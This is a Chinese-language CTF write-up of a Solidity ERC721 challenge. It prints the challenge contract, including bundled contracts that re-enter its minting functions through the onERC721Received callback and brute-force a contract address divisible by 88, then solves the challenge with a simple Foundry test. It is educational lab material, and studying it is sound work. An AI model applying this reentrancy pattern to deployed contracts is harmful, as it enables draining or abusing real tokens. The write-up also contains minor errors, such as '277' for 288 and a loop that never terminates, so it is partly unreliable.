CTF-EverythingArt

题目源代码:

pragma solidity ^0.8.0;

// Using @openzeppelin/contracts@3.2.0
// pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract EverytingIsArt is ERC721 {
using SafeMath for *;

uint256 public totalMinted;

bool public hope = true;
bool public hope2 = true;

// Deploy by CTFer EOA account
constructor() public ERC721("All Arts", "AA") {}

function becomeAnArtist(uint256 _count) public returns (bool) {
require(_count >= 288, "Why don't you want to be an artist?");

for (uint256 i = 0; i < _count; i++) {
uint256 tokenId = totalMinted.add(1);
_safeMint(msg.sender, tokenId);
totalMinted = totalMinted.add(1);
}

return true;
}

function theHope() public returns (bool) {
require(hope, "Hope broken");
require(uint160(msg.sender).mod(88) != 0, "Try again!");

uint256 tokenId = totalMinted.add(1);
totalMinted = totalMinted.add(1);
_safeMint(msg.sender, tokenId);

hope = false;
return true;
}

function hopeIsInSight() public returns (bool) {
require(hope == false, "Try again1!");
require(hope2 == true, "Hope broken!");
require(uint160(msg.sender).mod(88) == 0, "Try again2!");

uint256 tokenId = totalMinted.add(1);
totalMinted = totalMinted.add(1);
_safeMint(msg.sender, tokenId);

hope2 = false;
return true;
}

// Artist or programmer? Just try again and again.
function isCompleted() public view returns (bool) {
require(balanceOf(msg.sender) == 288,"You are not yet a good artist, you should keep trying.");
return true;
}
}

contract attack is IERC721Receiver{
EverytingIsArt art = EverytingIsArt(0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9);
uint256 n1 =1;

function onERC721Received( address operator, address from,uint256 tokenId, bytes calldata data)public override returns (bytes4){
if(n1 < 105){
n1++;
art.theHope();
return this.onERC721Received.selector;
}
if(n1 == 105){
n1++;
return this.onERC721Received.selector;
}
if(n1 > 105 && n1 < 211){
n1++;
art.hopeIsInSight();
return this.onERC721Received.selector;
}
return this.onERC721Received.selector;
}

function attack1()public {
art.theHope();
}

function attack2()public {
art.hopeIsInSight();
}
}
contract attack2 is IERC721Receiver{
EverytingIsArt art = EverytingIsArt(0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9);
uint256 n1 = 1;

function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)public override returns (bytes4){
if(n1<105){
n1++;
art.hopeIsInSight();
return this.onERC721Received.selector;
}
if(n1==105){
n1++;
return this.onERC721Received.selector;
}
return this.onERC721Received.selector;
}

function attack()public {
art.hopeIsInSight();
}
}

contract deploy{
attack2 public att;

function del() public {
for (uint i = 0; i >= 0; i++){
att = new attack2();
if (uint160(address(att)) % 88 == 0){
break;
}
}
}
}

题目要求,成为一个艺术家,前提是count=288;

那么合约中可以看见又三种方式可以增加countd的值,但是又是环环相扣( bool public hope = true; bool public hope2 = true);,就只能增加一次,所以我们的目光就放在
becomeAnArtist函数上,发现只要这个函数是public的,而且还可以必须传入大于277 的count。这不就是符合我们的要求吗,我觉的这个的题考点就设置很多函数,还有命令为attrack的函数,就是来吓唬人的,它主要是考我们对于非同质化代币ERC721协议的熟悉程度吧,之前有写过一篇ERC721的介绍

就是在执行 _safeMint(msg.sender, tokenId);有接受方必须实现onERC721Received函数,那么我们随意编写一个糊弄过去就可以了

测试合约如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "src/EverytingIsArt.sol";

contract attackTest is Test {
EverytingIsArt everytingIsArt;

function setUp() public{
everytingIsArt = new EverytingIsArt();
}

function test_isComplete() public{
everytingIsArt.becomeAnArtist(288);
assertEq(everytingIsArt.isCompleted(),true);
}

function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)public returns (bytes4){
return this.onERC721Received.selector;
}
}